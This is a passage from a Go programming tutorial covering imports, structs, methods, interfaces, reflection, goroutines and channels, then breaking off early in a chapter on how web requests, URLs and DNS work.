`fmt` is from Go standard library, it is located within $GOROOT/pkg. Go supports third-party packages in two ways.

1. Relative path import "./model" // load package in the same directory, I don't recommend this way.
2. Absolute path import "shorturl/model" // load package in path "$GOPATH/pkg/shorturl/model"

There are some special operators when we import packages, and beginners are always confused by these operators.

1. Dot operator. Sometime we see people use following way to import packages.

```
import(
    . "fmt"
)
```

The dot operator means you can omit the package name when you call functions inside of that package. Now `fmt.Printf("Hello world")` becomes to `Printf("Hello world")`.

2. Alias operation. It changes the name of the package that we imported when we call functions that belong to that package.

```
import(
    f "fmt"
)
```

Now `fmt.Printf("Hello world")` becomes to `f.Printf("Hello world")`.

3. `_` operator. This is the operator that is difficult to understand without someone explaining it to you.

```
import (
    "database/sql"
    _ "github.com/ziutek/mymysql/godrv"
)
```

The `_` operator actually means we just want to import that package and execute its `init` function, and we are not sure if we want to use the functions belonging to that package.

Links

- Directory
- Previous section: Go foundation
- Next section: struct

2.4 struct

struct

We can define new types of containers of other properties or fields in Go just like in other programming languages. For example, we can create a type called `person` to represent a person, with fields name and age. We call this kind of type a `struct`.

```
type person struct {
        name string
        age int
}
```

Look how easy it is to define a `struct`!

There are two fields.

- `name` is a `string` used to store a person's name.
- `age` is a `int` used to store a person's age.

Let's see how to use it.

```
type person struct {
        name string
        age int
}

var P person  // p is person type

P.name = "Astaxie"  // assign "Astaxie" to the field 'name' of p
P.age = 25  // assign 25 to field 'age' of p
fmt.Printf("The person's name is %s\n", P.name)  // access field 'name' of p
```

There are three more ways to define a struct.

- Assign initial values by order

  ```
  P := person{"Tom", 25}
  ```

- Use the format `field:value` to initialize the struct without order

  ```
  P := person{age:24, name:"Bob"}
  ```

- Define an anonymous struct, then initialize it

  ```
  P := struct{name string; age int}{"Amy",18}
  ```

Let's see a complete example.

```
package main
import "fmt"

// define a new type
type person struct {
    name string
    age int
}

// compare the age of two people, then return the older person and differences of age
// struct is passed by value
func Older(p1, p2 person) (person, int) {
    if p1.age>p2.age {
        return p1, p1.age-p2.age
    }
    return p2, p2.age-p1.age
}

func main() {
    var tom person

    // initialization
    tom.name, tom.age = "Tom", 18

    // initialize two values by format "field:value"
    bob := person{age:25, name:"Bob"}

    // initialize two values with order
    paul := person{"Paul", 43}

    tb_Older, tb_diff := Older(tom, bob)
    tp_Older, tp_diff := Older(tom, paul)
    bp_Older, bp_diff := Older(bob, paul)

    fmt.Printf("Of %s and %s, %s is older by %d years\n", tom.name, bob.name, tb_Older.name, tb_diff)

    fmt.Printf("Of %s and %s, %s is older by %d years\n", tom.name, paul.name, tp_Older.name, tp_diff)

    fmt.Printf("Of %s and %s, %s is older by %d years\n", bob.name, paul.name, bp_Older.name, bp_diff)
}
```

embedded fields in struct

I've just introduced to you how to define a struct with field names and type. In fact, Go supports fields without names, but with types. We call these embedded fields.

When the embedded field is a struct, all the fields in that struct will implicitly be the fields in the struct in which it has been embdedded.

Let's see one example.

```
package main
import "fmt"

type Human struct {
    name string
    age int
    weight int
}

type Student struct {
    Human  // embedded field, it means Student struct includes all fields that Human has.
    specialty string
}

func main() {
    // initialize a student
    mark := Student{Human{"Mark", 25, 120}, "Computer Science"}

    // access fields
    fmt.Println("His name is ", mark.name)
    fmt.Println("His age is ", mark.age)
    fmt.Println("His weight is ", mark.weight)
    fmt.Println("His specialty is ", mark.specialty)
    // modify notes
    mark.specialty = "AI"
    fmt.Println("Mark changed his specialty")
    fmt.Println("His specialty is ", mark.specialty)
    // modify age
    fmt.Println("Mark become old")
    mark.age = 46
    fmt.Println("His age is", mark.age)
    // modify weight
    fmt.Println("Mark is not an athlet anymore")
    mark.weight += 60
    fmt.Println("His weight is", mark.weight)
}
```

Figure 2.7 Embedding in Student and Human

We see that we can access the `age` and `name` fields in Student just like we can in Human. This is how embedded fields work. It's very cool, isn't it? Hold on, there's something cooler! You can even use Student to access Human in this embedded field!

```
mark.Human = Human{"Marcus", 55, 220}
mark.Human.age -= 1
```

All the types in Go can be used as embedded fields.

```
package main
import "fmt"

type Skills []string

type Human struct {
    name string
    age int
    weight int
}

type Student struct {
    Human  // struct as embedded field
    Skills // string slice as embedded field
    int    // built-in type as embedded field
    specialty string
}

func main() {
    // initialize Student Jane
    jane := Student{Human:Human{"Jane", 35, 100}, specialty:"Biology"}
    // access fields
    fmt.Println("Her name is ", jane.name)
    fmt.Println("Her age is ", jane.age)
    fmt.Println("Her weight is ", jane.weight)
    fmt.Println("Her specialty is ", jane.specialty)
    // modify value of skill field
    jane.Skills = []string{"anatomy"}
    fmt.Println("Her skills are ", jane.Skills)
    fmt.Println("She acquired two new ones ")
    jane.Skills = append(jane.Skills, "physics", "golang")
    fmt.Println("Her skills now are ", jane.Skills)
    // modify embedded field
    jane.int = 3
    fmt.Println("Her preferred number is ", jane.int)
}
```

In the above example, we can see that all types can be embedded fields and we can use functions to operate on them.

There is one more problem however. If Human has a field called `phone` and Student has a field with same name, what should we do?

Go use a very simple way to solve it. The outer fields get upper access levels, which means when you access `student.phone`, we will get the field called phone in student, not the one in the Human struct. This feature can be simply seen as field `overload`ing.

```
package main
import "fmt"

type Human struct {
    name string
    age int
    phone string  // Human has phone field
}

type Employee struct {
    Human  // embedded field Human
    specialty string
    phone string  // phone in employee
}

func main() {
    Bob := Employee{Human{"Bob", 34, "777-444-XXXX"}, "Designer", "333-222"}
    fmt.Println("Bob's work phone is:", Bob.phone)
    // access phone field in Human
    fmt.Println("Bob's personal phone is:", Bob.Human.phone)
}
```

Links

- Directory
- Previous section: Control statements and functions
- Next section: Object-oriented

Object-oriented

We talked about functions and structs in the last two sections, but did you ever consider using functions as fields of a struct? In this section, I will introduce you to another form of function that has a receiver, which is called `method`.

method

Suppose you define a "rectangle" struct and you want to calculate its area. We'd typically use the following code to achieve this goal.

```
package main
import "fmt"

type Rectangle struct {
    width, height float64
}

func area(r Rectangle) float64 {
    return r.width*r.height
}

func main() {
    r1 := Rectangle{12, 2}
    r2 := Rectangle{9, 4}
    fmt.Println("Area of r1 is: ", area(r1))
    fmt.Println("Area of r2 is: ", area(r2))
}
```

The above example can calculate a rectangle's area. We use the function called `area`, but it's not a method of the rectangle struct (like class methods in classic object-oriented languages). The function and struct are two independent things as you may notice.

It's not a problem so far. However, if you also have to calculate the area of a circle, square, pentagon, or any other kind of shape, you are going to need to add additional functions with very similar names.

Figure 2.8 Relationship between function and struct

Obviously that's not cool. Also, the area should really be the property of a circle or rectangle.

For those reasons, we have the `method` concept. `method` is affiliated with type. It has the same syntax as functions do except for an additional parameter after the `func` keyword called the `receiver`, which is the main body of that method.

Using the same example, `Rectangle.area()` belongs directly to rectangle, instead of as a peripheral function. More specifically, `length`, `width` and `area()` all belong to rectangle.

As Rob Pike said.

```
"A method is a function with an implicit first argument, called a receiver."
```

Syntax of method.

```
func (r ReceiverType) funcName(parameters) (results)
```

Let's change our example using `method` instead.

```
package main
import (
    "fmt"
    "math"
)

type Rectangle struct {
    width, height float64
}

type Circle struct {
    radius float64
}

func (r Rectangle) area() float64 {
    return r.width*r.height
}

func (c Circle) area() float64 {
    return c.radius * c.radius * math.Pi
}

func main() {
    r1 := Rectangle{12, 2}
    r2 := Rectangle{9, 4}
    c1 := Circle{10}
    c2 := Circle{25}

    fmt.Println("Area of r1 is: ", r1.area())
    fmt.Println("Area of r2 is: ", r2.area())
    fmt.Println("Area of c1 is: ", c1.area())
    fmt.Println("Area of c2 is: ", c2.area())
}
```

Notes for using methods.

- If the name of methods are the same but they don't share the same receivers, they are not the same.
- Methods are able to access fields within receivers.
- Use `.` to call a method in the struct, the same way fields are called.

Figure 2.9 Methods are different in different structs

In the example above, the area() methods belong to both Rectangle and Circle respectively, so the receivers are Rectangle and Circle.

One thing that's worth noting is that the method with a dotted line means the receiver is passed by value, not by reference. The difference between them is that a method can change its receiver's values when the receiver is passed by reference, and it gets a copy of the receiver when the receiver is passed by value.

Can the receiver only be a struct? Of course not. Any type can be the receiver of a method. You may be confused about customized types. Struct is a special kind of customized type -there are more customized types.

Use the following format to define a customized type.

```
type typeName typeLiteral
```

Examples of customized types:

```
type ages int

type money float32

type months map[string]int

m := months {
    "January":31,
    "February":28,
    ...
    "December":31,
}
```

I hope that you know how to use customized types now. Similar to `typedef` in C, we use `ages` to substitute `int` in the above example.

Let's get back to talking about `method`.

You can use as many methods in custom types as you want.

```
package main
import "fmt"

const(
    WHITE = iota
    BLACK
    BLUE
    RED
    YELLOW
)

type Color byte

type Box struct {
    width, height, depth float64
    color Color
}

type BoxList []Box //a slice of boxes

func (b Box) Volume() float64 {
    return b.width * b.height * b.depth
}

func (b *Box) SetColor(c Color) {
    b.color = c
}

func (bl BoxList) BiggestsColor() Color {
    v := 0.00
    k := Color(WHITE)
    for _, b := range bl {
        if b.Volume() > v {
            v = b.Volume()
            k = b.color
        }
    }
    return k
}

func (bl BoxList) PaintItBlack() {
    for i, _ := range bl {
        bl[i].SetColor(BLACK)
    }
}

func (c Color) String() string {
    strings := []string {"WHITE", "BLACK", "BLUE", "RED", "YELLOW"}
    return strings[c]
```

```
}

func main() {
    boxes := BoxList {
        Box{4, 4, 4, RED},
        Box{10, 10, 1, YELLOW},
        Box{1, 1, 20, BLACK},
        Box{10, 10, 1, BLUE},
        Box{10, 30, 1, WHITE},
        Box{20, 20, 20, YELLOW},
    }

    fmt.Printf("We have %d boxes in our set\n", len(boxes))
    fmt.Println("The volume of the first one is", boxes[0].Volume(), "cm³")
    fmt.Println("The color of the last one is",boxes[len(boxes)-1].color.String())
    fmt.Println("The biggest one is", boxes.BiggestsColor().String())

    fmt.Println("Let's paint them all black")
    boxes.PaintItBlack()
    fmt.Println("The color of the second one is", boxes[1].color.String())

    fmt.Println("Obviously, now, the biggest one is", boxes.BiggestsColor().String())
}
```

We define some constants and customized types.

- Use `Color` as alias of `byte`.
- Define a struct `Box` which has fields height, width, length and color.
- Define a struct `BoxList` which has `Box` as its field.

Then we defined some methods for our customized types.

- Volume() uses Box as its receiver and returns the volume of Box.
- SetColor(c Color) changes Box's color.
- BiggestsColor() returns the color which has the biggest volume.
- PaintItBlack() sets color for all Box in BoxList to black.
- String() use Color as its receiver, returns the string format of color name.

Is it much clearer when we use words to describe our requirements? We often write our requirements before we start coding.

Use pointer as receiver

Let's take a look at `SetColor` method. Its receiver is a pointer of Box. Yes, you can use `*Box` as a receiver. Why do we use a pointer here? Because we want to change Box's color in this method. Thus, if we don't use a pointer, it will only change the value inside a copy of Box.

If we see that a receiver is the first argument of a method, it's not hard to understand how it works.

You might be asking why we aren't using `(*b).Color=c` instead of `b.Color=c` in the SetColor() method. Either one is OK here because Go knows how to interpret the assignment. Do you think Go is more fascinating now?

You may also be asking whether we should use `(&bl[i]).SetColor(BLACK)` in `PaintItBlack` because we pass a pointer to `SetColor`. Again, either one is OK because Go knows how to interpret it!

Inheritance of method

We learned about inheritance of fields in the last section. Similarly, we also have method inheritance in Go. If an anonymous field has methods, then the struct that contains the field will have all the methods from it as well.

```
package main
import "fmt"

type Human struct {
    name string
    age int
    phone string
}

type Student struct {
    Human // anonymous field
    school string
}

type Employee struct {
    Human
    company string
}

// define a method in Human
func (h *Human) SayHi() {
    fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone)
}

func main() {
    mark := Student{Human{"Mark", 25, "222-222-YYYY"}, "MIT"}
    sam := Employee{Human{"Sam", 45, "111-888-XXXX"}, "Golang Inc"}

    mark.SayHi()
    sam.SayHi()
}
```

Method overload

If we want Employee to have its own method `SayHi`, we can define a method that has the same name in Employee, and it will hide `SayHi` in Human when we call it.

```
package main
import "fmt"

type Human struct {
    name string
    age int
    phone string
}

type Student struct {
    Human
    school string
}

type Employee struct {
    Human
    company string
}

func (h *Human) SayHi() {
    fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone)
}

func (e *Employee) SayHi() {
    fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.name,
        e.company, e.phone) //Yes you can split into 2 lines here.
}

func main() {
    mark := Student{Human{"Mark", 25, "222-222-YYYY"}, "MIT"}
    sam := Employee{Human{"Sam", 45, "111-888-XXXX"}, "Golang Inc"}

    mark.SayHi()
    sam.SayHi()
}
```

You are able to write an Object-oriented program now, and methods use rule of capital letter to decide whether public or private as well.

Links

- Directory
- Previous section: struct
- Next section: interface

2.6 Interface

Interface

One of the subtlest design features in Go are interfaces. After reading this section, you will likely be impressed by their implementation.

What is an interface

In short, an interface is a set of methods that we use to define a set of actions.

Like the examples in previous sections, both Student and Employee can `SayHi()`, but they don't do the same thing.

Let's do some more work. We'll add one more method `Sing()` to them, along with the `BorrowMoney()` method to Student and the `SpendSalary()` method to Employee.

Now, Student has three methods called `SayHi()`, `Sing()` and `BorrowMoney()`, and Employee has `SayHi()`, `Sing()` and `SpendSalary()`.

This combination of methods is called an interface and is implemented by both Student and Employee. So, Student and Employee implement the interface: `SayHi()` and `Sing()`. At the same time, Employee doesn't implement the interface: `SayHi()`, `Sing()`, `BorrowMoney()`, and Student doesn't implement the interface: `SayHi()`, `Sing()`, `SpendSalary()`. This is because Employee doesn't have the method `BorrowMoney()` and Student doesn't have the method `SpendSalary()`.

Type of Interface

An interface defines a set of methods, so if a type implements all the methods we say that it implements the interface.

```
type Human struct {
    name  string
    age   int
    phone string
}

type Student struct {
    Human
    school string
    loan   float32
}

type Employee struct {
    Human
    company string
    money   float32
}

func (h *Human) SayHi() {
    fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone)
}

func (h *Human) Sing(lyrics string) {
    fmt.Println("La la, la la la, la la la la la...", lyrics)
}

func (h *Human) Guzzle(beerStein string) {
    fmt.Println("Guzzle Guzzle Guzzle...", beerStein)
}

// Employee overloads Sayhi
func (e *Employee) SayHi() {
    fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.name,
        e.company, e.phone) //Yes you can split into 2 lines here.
}

func (s *Student) BorrowMoney(amount float32) {
    s.loan += amount // (again and again and...)
}

func (e *Employee) SpendSalary(amount float32) {
    e.money -= amount // More vodka please!!! Get me through the day!
}

// define interface
type Men interface {
    SayHi()
    Sing(lyrics string)
    Guzzle(beerStein string)
}

type YoungChap interface {
    SayHi()
    Sing(song string)
    BorrowMoney(amount float32)
}

type ElderlyGent interface {
    SayHi()
    Sing(song string)
    SpendSalary(amount float32)
}
```

We know that an interface can be implemented by any type, and one type can implement many interfaces simultaneously.

Note that any type implements the empty interface `interface{}` because it doesn't have any methods and all types have zero methods by default.

Value of interface

So what kind of values can be put in the interface? If we define a variable as a type interface, any type that implements the interface can assigned to this variable.

Like the above example, if we define a variable "m" as interface Men, then any one of Student, Human or Employee can be assigned to "m". So we could have a slice of Men, and any type that implements interface Men can assign to this slice. Be aware however that the slice of interface doesn't have the same behavior as a slice of other types.

```
package main

import "fmt"

type Human struct {
    name  string
    age   int
    phone string
}

type Student struct {
    Human
    school string
    loan   float32
}

type Employee struct {
    Human
    company string
    money   float32
}

func (h Human) SayHi() {
    fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone)
}

func (h Human) Sing(lyrics string) {
    fmt.Println("La la la la...", lyrics)
}

func (e Employee) SayHi() {
    fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.name,
        e.company, e.phone) //Yes you can split into 2 lines here.
}

// Interface Men implemented by Human, Student and Employee
type Men interface {
    SayHi()
    Sing(lyrics string)
}

func main() {
    mike := Student{Human{"Mike", 25, "222-222-XXX"}, "MIT", 0.00}
    paul := Student{Human{"Paul", 26, "111-222-XXX"}, "Harvard", 100}
    sam := Employee{Human{"Sam", 36, "444-222-XXX"}, "Golang Inc.", 1000}
    tom := Employee{Human{"Sam", 36, "444-222-XXX"}, "Things Ltd.", 5000}

    // define interface i
    var i Men

    //i can store Student
    i = mike
    fmt.Println("This is Mike, a Student:")
    i.SayHi()
    i.Sing("November rain")

    //i can store Employee
    i = tom
    fmt.Println("This is Tom, an Employee:")
    i.SayHi()
    i.Sing("Born to be wild")

    // slice of Men
```

```
    fmt.Println("Let's use a slice of Men and see what happens")
    x := make([]Men, 3)
    // these three elements are different types but they all implemented interface Men
    x[0], x[1], x[2] = paul, sam, mike

    for _, value := range x {
        value.SayHi()
    }
}
```

An interface is a set of abstract methods, and can be implemented by non-interface types. It cannot therefore implement itself.

Empty interface

An empty interface is an interface that doesn't contain any methods, so all types implement an empty interface. This fact is very useful when we want to store all types at some point, and is similar to void* in C.

```
// define a as empty interface
var a interface{}
var i int = 5
s := "Hello world"
// a can store value of any type
a = i
a = s
```

If a function uses an empty interface as its argument type, it can accept any type; if a function uses empty interface as its return value type, it can return any type.

Method arguments of an interface

Any variable can be used in an interface. So how can we use this feature to pass any type of variable to a function?

For example we use fmt.Println a lot, but have you ever noticed that it can accept any type of argument? Looking at the open source code of fmt, we see the following definition.

```
type Stringer interface {
        String() string
}
```

This means any type that implements interface Stringer can be passed to fmt.Println as an argument. Let's prove it.

```
package main

import (
    "fmt"
    "strconv"
)

type Human struct {
    name  string
    age   int
    phone string
}

// Human implemented fmt.Stringer
func (h Human) String() string {
    return "Name:" + h.name + ", Age:" + strconv.Itoa(h.age) + " years, Contact:" + h.phone
}

func main() {
    Bob := Human{"Bob", 39, "000-7777-XXX"}
    fmt.Println("This Human is : ", Bob)
}
```

Looking back to the example of Box, you will find that Color implements interface Stringer as well, so we are able to customize the print format. If we don't implement this interface, fmt.Println prints the type with its default format.

```
fmt.Println("The biggest one is", boxes.BiggestsColor().String())
fmt.Println("The biggest one is", boxes.BiggestsColor())
```

Attention: If the type implemented the interface `error`, fmt will call `error()`, so you don't have to implement Stringer at this point.

Type of variable in an interface

If a variable is the type that implements an interface, we know that any other type that implements the same interface can be assigned to this variable. The question is how can we know the specific type stored in the interface. There are two ways which I will show you.

- Assertion of Comma-ok pattern

Go has the syntax `value, ok := element.(T)`. This checks to see if the variable is the type that we expect, where "value" is the value of the variable, "ok" is a variable of boolean type, "element" is the interface variable and the T is the type of assertion.

If the element is the type that we expect, ok will be true, false otherwise.

Let's use an example to see more clearly.

```
package main

import (
    "fmt"
    "strconv"
)

type Element interface{}
type List []Element

type Person struct {
    name string
    age  int
}

func (p Person) String() string {
    return "(name: " + p.name + " - age:     " + strconv.Itoa(p.age) + " years)"
}

func main() {
    list := make(List, 3)
    list[0] = 1       // an int
    list[1] = "Hello" // a string
    list[2] = Person{"Dennis", 70}

    for index, element := range list {
        if value, ok := element.(int); ok {
            fmt.Printf("list[%d] is an int and its value is %d\n", index, value)
        } else if value, ok := element.(string); ok {
            fmt.Printf("list[%d] is a string and its value is %s\n", index, value)
        } else if value, ok := element.(Person); ok {
            fmt.Printf("list[%d] is a Person and its value is %s\n", index, value)
        } else {
            fmt.Printf("list[%d] is of a different type\n", index)
        }
    }
}
```

It's quite easy to use this pattern, but if we have many types to test, we'd better use `switch`.

- switch test

Let's use `switch` to rewrite the above example.

```
package main

import (
    "fmt"
    "strconv"
)

type Element interface{}
type List []Element

type Person struct {
    name string
    age  int
}

func (p Person) String() string {
    return "(name: " + p.name + " - age: " + strconv.Itoa(p.age) + " years)"
}

func main() {
    list := make(List, 3)
    list[0] = 1       //an int
    list[1] = "Hello" //a string
    list[2] = Person{"Dennis", 70}

    for index, element := range list {
        switch value := element.(type) {
        case int:
            fmt.Printf("list[%d] is an int and its value is %d\n", index, value)
        case string:
            fmt.Printf("list[%d] is a string and its value is %s\n", index, value)
        case Person:
            fmt.Printf("list[%d] is a Person and its value is %s\n", index, value)
        default:
            fmt.Println("list[%d] is of a different type", index)
        }
    }
}
```

One thing you should remember is that `element.(type)` cannot be used outside of the `switch` body, which means in that case you have to use the `comma-ok` pattern .

Embedded interfaces

The most beautiful thing is that Go has a lot of built-in logic syntax, such as anonymous fields in struct. Not suprisingly, we can use interfaces as anonymous fields as well, but we call them `Embedded interfaces`. Here, we follow the same rules as anonymous fields. More specifically, if an interface has another interface embedded within it, it will behave as if it has all the methods that the embedded interface has.

We can see that the source file in `container/heap` has the following definition:

```
type Interface interface {
        sort.Interface // embedded sort.Interface
        Push(x interface{}) //a Push method to push elements into the heap
        Pop() interface{} //a Pop method that pops elements from the heap
}
```

We see that `sort.Interface` is an embedded interface, so the above Interface has the three methods contained within the `sort.Interface` implicitly.

```
type Interface interface {
        // Len is the number of elements in the collection.
        Len() int
        // Less returns whether the element with index i should sort
        // before the element with index j.
        Less(i, j int) bool
        // Swap swaps the elements with indexes i and j.
        Swap(i, j int)
}
```

Another example is the `io.ReadWriter` in package `io`.

```
// io.ReadWriter
type ReadWriter interface {
        Reader
        Writer
}
```

Reflection

Reflection in Go is used for determining information at runtime. We use the `reflect` package, and this official article explains how reflect works in Go.

There are three steps involved when using reflect. First, we need to convert an interface to reflect types (reflect.Type or reflect.Value, this depends on the situation).

```
t := reflect.TypeOf(i)    // get meta-data in type i, and use t to get all elements
v := reflect.ValueOf(i)   // get actual value in type i, and use v to change its value
```

After that, we can convert the reflected types to get the values that we need.

```
var x float64 = 3.4
v := reflect.ValueOf(x)
fmt.Println("type:", v.Type())
fmt.Println("kind is float64:", v.Kind() == reflect.Float64)
fmt.Println("value:", v.Float())
```

Finally, if we want to change the values of the reflected types, we need to make it modifiable. As discussed earlier, there is a difference between pass by value and pass by reference. The following code will not compile.

```
var x float64 = 3.4
v := reflect.ValueOf(x)
v.SetFloat(7.1)
```

Instead, we must use the following code to change the values from reflect types.

```
var x float64 = 3.4
p := reflect.ValueOf(&x)
v := p.Elem()
v.SetFloat(7.1)
```

We have just discussed the basics of reflection, however you must practice more in order to understand more.

Links

- Directory
- Previous section: Object-oriented
- Next section: Concurrency

Concurrency

It is said that Go is the C language of the 21st century. I think there are two reasons: first, Go is a simple language; second, concurrency is a hot topic in today's world, and Go supports this feature at the language level.

goroutine

goroutines and concurrency are built into the core design of Go. They're similar to threads but work differently. More than a dozen goroutines maybe only have 5 or 6 underlying threads. Go also gives you full support to sharing memory in your goroutines. One goroutine usually uses 4~5 KB of stack memory. Therefore, it's not hard to run thousands of goroutines on a single computer. A goroutine is more lightweight, more efficient and more convenient than system threads.

goroutines run on the thread manager at runtime in Go. We use the `go` keyword to create a new goroutine, which is a function at the underlying level (***main() is a goroutine***).

```
go hello(a, b, c)
```

Let's see an example.

```
package main

import (
    "fmt"
    "runtime"
)

func say(s string) {
    for i := 0; i < 5; i++ {
        runtime.Gosched()
        fmt.Println(s)
    }
}

func main() {
    go say("world") // create a new goroutine
    say("hello") // current goroutine
}
```

Output：

```
hello
world
hello
world
hello
world
hello
world
hello
```

We see that it's very easy to use concurrency in Go by using the keyword `go`. In the above example, these two goroutines share some memory, but we would better off following the design recipe: Don't use shared data to communicate, use communication to share data.

runtime.Gosched() means let the CPU execute other goroutines, and come back at some point.

In Go 1.5,the runtime now sets the default number of threads to run simultaneously, defined by GOMAXPROCS, to the number of cores available on the CPU.

Before Go 1.5,The scheduler only uses one thread to run all goroutines, which means it only implements concurrency. If you want to use more CPU cores in order to take advantage of parallel processing, you have to call runtime.GOMAXPROCS(n) to set the number of cores you want to use. If `n<1`, it changes nothing.

channels

goroutines run in the same memory address space, so you have to maintain synchronization when you want to access shared memory. How do you communicate between different goroutines? Go uses a very good communication mechanism called `channel`. `channel` is like a two-way pipeline in Unix shells: use `channel` to send or receive data. The only data type that can be used in channels is the type `channel` and the keyword `chan`. Be aware that you have to use `make` to create a new `channel`.

```
ci := make(chan int)
cs := make(chan string)
cf := make(chan interface{})
```

channel uses the operator `<-` to send or receive data.

```
ch <- v    // send v to channel ch.
v := <-ch  // receive data from ch, and assign to v
```

Let's see more examples.

```
package main

import "fmt"

func sum(a []int, c chan int) {
    total := 0
    for _, v := range a {
    total += v
    }
    c <- total  // send total to c
}

func main() {
    a := []int{7, 2, 8, -9, 4, 0}

    c := make(chan int)
    go sum(a[:len(a)/2], c)
    go sum(a[len(a)/2:], c)
    x, y := <-c, <-c  // receive from c

    fmt.Println(x, y, x + y)
}
```

Sending and receiving data in channels blocks by default, so it's much easier to use synchronous goroutines. What I mean by block is that a goroutine will not continue when receiving data from an empty channel, i.e (`value := <-ch`), until other goroutines send data to this channel. On the other hand, the goroutine will not continue until the data it sends to a channel, i.e (`ch<-5`), is received.

Buffered channels

I introduced non-buffered channels above. Go also has buffered channels that can store more than a single element. For example, `ch := make(chan bool, 4)`, here we create a channel that can store 4 boolean elements. So in this channel, we are able to send 4 elements into it without blocking, but the goroutine will be blocked when you try to send a fifth element and no goroutine receives it.

```
ch := make(chan type, n)

n == 0 ! non-buffer（block）
n > 0 ! buffer（non-block until n elements in the channel）
```

You can try the following code on your computer and change some values.

```
package main

import "fmt"

func main() {
    c := make(chan int, 2)  // change 2 to 1 will have runtime error, but 3 is fine
    c <- 1
    c <- 2
    fmt.Println(<-c)
    fmt.Println(<-c)
}
```

Range and Close

We can use range to operate on buffer channels as in slice and map.

```
package main

import (
    "fmt"
)

func fibonacci(n int, c chan int) {
    x, y := 1, 1
    for i := 0; i < n; i++ {
        c <- x
        x, y = y, x + y
    }
    close(c)
}

func main() {
    c := make(chan int, 10)
    go fibonacci(cap(c), c)
    for i := range c {
        fmt.Println(i)
    }
}
```

`for i := range c` will not stop reading data from channel until the channel is closed. We use the keyword `close` to close the channel in above example. It's impossible to send or receive data on a closed channel; you can use `v, ok := <-ch` to test if a channel is closed. If `ok` returns false, it means the there is no data in that channel and it was closed.

Remember to always close channels in producers and not in consumers, or it's very easy to get into panic status.

Another thing you need to remember is that channels are not like files. You don't have to close them frequently unless you are sure the channel is completely useless, or you want to exit range loops.

Select

In the above examples, we only use one channel, but how can we deal with more than one channel? Go has a keyword called `select` to listen to many channels.

`select` is blocking by default and it continues to execute only when one of channels has data to send or receive. If several channels are ready to use at the same time, select chooses which to execute randomly.

```
package main

import "fmt"

func fibonacci(c, quit chan int) {
    x, y := 1, 1
    for {
        select {
        case c <- x:
            x, y = y, x + y
        case <-quit:
        fmt.Println("quit")
            return
        }
    }
}

func main() {
    c := make(chan int)
    quit := make(chan int)
    go func() {
        for i := 0; i < 10; i++ {
            fmt.Println(<-c)
        }
        quit <- 0
    }()
    fibonacci(c, quit)
}
```

`select` has a `default` case as well, just like `switch`. When all the channels are not ready for use, it executes the default case (it doesn't wait for the channel anymore).

```
select {
case i := <-c:
    // use i
default:
    // executes here when c is blocked
}
```

Timeout

Sometimes a goroutine becomes blocked. How can we avoid this to prevent the whole program from blocking? It's simple, we can set a timeout in the select.

```
func main() {
    c := make(chan int)
    o := make(chan bool)
    go func() {
        for {
            select {
                case v := <- c:
                       println(v)
                case <- time.After(5 * time.Second):
                    println("timeout")
                    o <- true
                    break
            }
        }
    }()
    <- o
}
```

Runtime goroutine

The package `runtime` has some functions for dealing with goroutines.

- `runtime.Goexit()`

  Exits the current goroutine, but defered functions will be executed as usual.

- `runtime.Gosched()`

  Lets the scheduler execute other goroutines and comes back at some point.

- `runtime.NumCPU() int`

  Returns the number of CPU cores

- `runtime.NumGoroutine() int`

  Returns the number of goroutines

- `runtime.GOMAXPROCS(n int) int`

  Sets how many CPU cores you want to use

Links

- Directory
- Previous section: interface
- Next section: Summary

2.8 Summary

In this chapter, we mainly introduced the 25 Go keywords. Let's review what they are and what they do.

```
break    default      func    interface    select
case     defer        go      map          struct
chan     else         goto    package      switch
const    fallthrough  if      range        type
continue for          import  return       var
```

- `var` and `const` are used to define variables and constants.
- `package` and `import` are for package use.
- `func` is used to define functions and methods.
- `return` is used to return values in functions or methods.
- `defer` is used to define defer functions.
- `go` is used to start a new goroutine.
- `select` is used to switch over multiple channels for communication.
- `interface` is used to define interfaces.
- `struct` is used to define special customized types.
- `break`, `case`, `continue`, `for`, `fallthrough`, `else`, `if`, `switch`, `goto` and `default` were introduced in section 2.3.
- `chan` is the type of channel for communication among goroutines.
- `type` is used to define customized types.
- `map` is used to define map which is similar to hash tables in other languages.
- `range` is used for reading data from `slice`, `map` and `channel`.

If you understand how to use these 25 keywords, you've learned a lot of Go already.

Links

- Directory
- Previous section: Concurrency
- Next chapter: Web foundation

3 Web foundation

The reason you are reading this book is that you want to learn to build web applications in Go. As I've said before, Go provides many powerful packages like `http`. These packages can help you a lot when trying to build web applications. I'll teach you everything you need to know in the following chapters, and we'll talk about some concepts of the web and how to run web applications in Go in this chapter.

Links

- Directory
- Previous chapter: Chapter 2 Summary
- Next section: Web working principles

Web working principles

Every time you open your browsers, type some URLs and press enter, you will see beautiful web pages appear on your screen. But do you know what is happening behind these simple actions?

Normally, your browser is a client. After you type a URL, it takes the host part of the URL and sends it to a DNS server in order to get the IP address of the host. Then it connects to the IP address and asks to setup a TCP connection. The browser sends HTTP requests through the connection. The server handles them and replies with HTTP responses containing the content that make up the web page. Finally, the browser renders the body of the web page and disconnects from the server.

Figure 3.1 Processes of users visit a website

A web server, also known as an HTTP server, uses the HTTP protocol to communicate with clients. All web browsers can be considered clients.

We can divide the web's working principles into the following steps:

- Client uses TCP/IP protocol to connect to server.
- Client sends HTTP request packages to server.
- Server returns HTTP response packages to client. If the requested resources include dynamic scripts, server calls script engine first.
- Client disconnects from server, starts rendering HTML.

This is a simple work flow of HTTP affairs -notice that the server closes its connections after it sends data to the clients, then waits for the next request.

URL and DNS resolution

We always use URLs to access web pages, but do you know how URLs work?

The full name of a URL is Uniform Resource Locator. It's for describing resources on the internet and its basic form is as follows.

```
scheme://host[:port#]/path/.../[?query-string][#anchor]
scheme         assign underlying protocol (such as HTTP, HTTPS, FTP)
host           IP or domain name of HTTP server
port#          default port is 80, and it can be omitted in this case.
        If you want to use other ports, you must specify which port. For example,
        http://www.cnblogs.com:8080/
path           resources path
query-string   data are sent to server
anchor         anchor
```

DNS is an abbreviation of Domain Name System. It's the naming system for computer network services, and it converts domain names to actual IP addresses, just like a translator.

Figure 3.2 DNS working principles

To understand more about its working principle, let's see the detailed DNS resolution process as follows.
